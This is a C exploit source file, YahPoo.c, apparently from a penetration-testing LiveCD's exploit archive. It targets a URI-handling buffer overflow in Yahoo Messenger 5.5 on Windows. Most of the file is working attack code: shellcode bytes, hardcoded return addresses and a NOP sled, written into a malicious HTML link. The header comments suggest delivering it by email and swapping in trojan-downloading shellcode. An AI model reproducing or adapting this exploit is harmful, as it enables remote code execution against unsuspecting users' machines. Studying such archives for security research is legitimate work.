home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / ymessenger / YahPoo.c < prev   
Text File  |  2005-02-12  |  4KB  |  114 lines

  1. /* Yahpoo.c by bob@dtors.net  [www.dtors.net] [DSR]
  2.  *
  3.  * Why Yahoo Messenger have not fixed this vulnerbility
  4.  * I dont know...but either way they are stupid!
  5.  * 
  6.  * This exploit has been tested on:
  7.  * Yahoo Messenger 5,5,0,1246
  8.  * Yahoo Module 5,5,0,454
  9.  * 
  10.  * For:
  11.  * Windows 2000 Professional 5.0.2195 SP3
  12.  *
  13.  * Rave@dtors.net has released a windows [exe] version of this
  14.  * exploit but for Windows XP Pro SP1. 
  15.  * So both targets are vulnerable XP/2k...some addresses might need changing.
  16.  *
  17.  * Problems that may occur:
  18.  * 
  19.  * The addresses used may vary from box to box..so they might need changing.
  20.  * The stack may keep on changing the location of your shellcode address..you
  21.  * need to hit a static sector that will not alternate. [this is the reason we jmp]
  22.  * There exist two crashes...the first one we bypass..this is the access violation
  23.  * when you hit the nop sled the first time round. The second crash is where we 
  24.  * hit the nop sled...so dont get confused between the 2.
  25.  *
  26.  * The shellcode used here...will not do anything malicious..just opens a popup box
  27.  * You can change this shellcode to something else...but the buffer is not very big
  28.  * so there is no chance of a bind shell or anything.
  29.  * Sloth from nopninjas.com has a shellcode that will download a trojan
  30.  * and execute it. Nice and small as well ;)
  31.  *
  32.  * Thats about it...this exploit will lead to remote command execution on the
  33.  * victim. Bare in mind this is triggered via bad URI handling...and the victim
  34.  * needs to actually view the evil html file..this can be done automatically via
  35.  * email >:)
  36.  *
  37.  * Big Lovin to rica.
  38.  * Thanks to rave for his time.
  39.  * Greetz:
  40.  * mercy, Redg, opy, phreez, eSDee, ilja, looney, The_itch, angelo, inv, kokanin,
  41.  * macd, SiRVu|can, Sally, Lucipher, gloomy, phaze, uproot, b0f.
  42.  * special thanks to sloth@nopninjas
  43.  *
  44.  * 
  45.  * bob@dtors.net www.dtors.net
  46.  */
  47.  
  48. #include <stdio.h>
  49. #include <stdlib.h>
  50. #include <string.h> 
  51. #define MessageBoxA "\x1d\x97\x53\x01"
  52.  
  53.  
  54. char ret[8]= "\xD5\x96\x7A\x01";
  55.  
  56.  
  57. unsigned char win32_msgbox[] = {
  58.     "\xEB\x19\x5E\x33\xC9\x89\x4E\x05\xB8" MessageBoxA  "\x2D\x01\x01"
  59.     "\x01\x01\x8B\x18\x6A\x10\x56\x56\x51\xFF\xD3\xE8\xE2\xFF\xFF\xFF"
  60.     "\x62\x6f\x62\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  61. };    
  62.  
  63. int main(int argc,char *argv[])
  64. {
  65.  FILE *evil;
  66.  char *shellcode = win32_msgbox;
  67.  unsigned char buffer[5000];
  68.  int offset=320;
  69.  
  70.                 fprintf(stdout, "\n\tYahPoo.c By bob.\n");
  71.             fprintf(stdout, "Remote Exploit for Yahoo! Messenger 5.5\n");
  72.             fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n\n");
  73.  
  74.                 fprintf(stdout,"Makin' da EbUL HTML File... ");
  75.         if ((evil =fopen("yahoo.html","w"))==NULL){
  76.             fprintf(stderr,"Failed\n");
  77.             exit(1);
  78.             } else {
  79.             fprintf(stderr,"Opened!\n");
  80.             }
  81.  
  82.  
  83.  
  84.     memset(buffer,0x00,offset+32+strlen(shellcode));
  85.      memset(buffer,0x90,offset);
  86.  
  87.  
  88.     memcpy(buffer+offset,ret,4);
  89.     memcpy(buffer+offset+4,shellcode,strlen(shellcode));
  90.  
  91.         buffer[264] = 0xD4;   //address of &shellcode
  92.         buffer[265] = 0x96;
  93.         buffer[266] = 0x7A;
  94.         buffer[267] = 0x01;
  95.         
  96.         buffer[272] = 0xF5;   //jmp 0xc [msvcrt.dll]
  97.     buffer[273] = 0x01;
  98.     buffer[274] = 0x01;
  99.     buffer[275] = 0x78;
  100.  
  101.     fprintf(evil,"<html>");
  102.     fprintf(evil,"<title>Bought to you by dtors.net!</title>\n");
  103.     fprintf(evil,"<B>Dtors Security Research (DSR)</B>\n");
  104.     fprintf(evil,"<p>Yahoo Messenger 5.5 exploit....</p>\n");
  105.     fprintf(evil,"<pre>");
  106.     fprintf(evil,"<a href=%cymsgr:call?%s%c>!EbUL Link!</a></body></pre></html>\x00\x00\x00",0x22,buffer,0x22);
  107.     fclose(evil); // <-- closing yahoo.html
  108.     
  109.     fprintf(stdout,"\nDa ebUL HTML file is >>yahoo.html<<\nEnjoy!\nwww.dtors.net\n\n");
  110.  
  111.   } //end main
  112.  
  113.  
  114.